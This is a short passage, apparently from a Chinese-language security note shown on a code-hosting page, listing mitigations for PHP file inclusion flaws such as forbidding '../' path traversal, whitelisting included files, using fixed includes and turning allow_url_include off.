2. 路径限制:限制被包含的文件只能在某一文件内,一定要禁止目录跳转字符,如:"../";
|
||||
3. 包含文件验证:验证被包含的文件是否是白名单中的一员;
|
||||
4. 尽量不要使用动态包含,可以在需要包含的页面固定写好,如:include('head.php')。
|
||||
5. 设置 allow_url_include 为 Off
|
Reference in New Issue
Block a user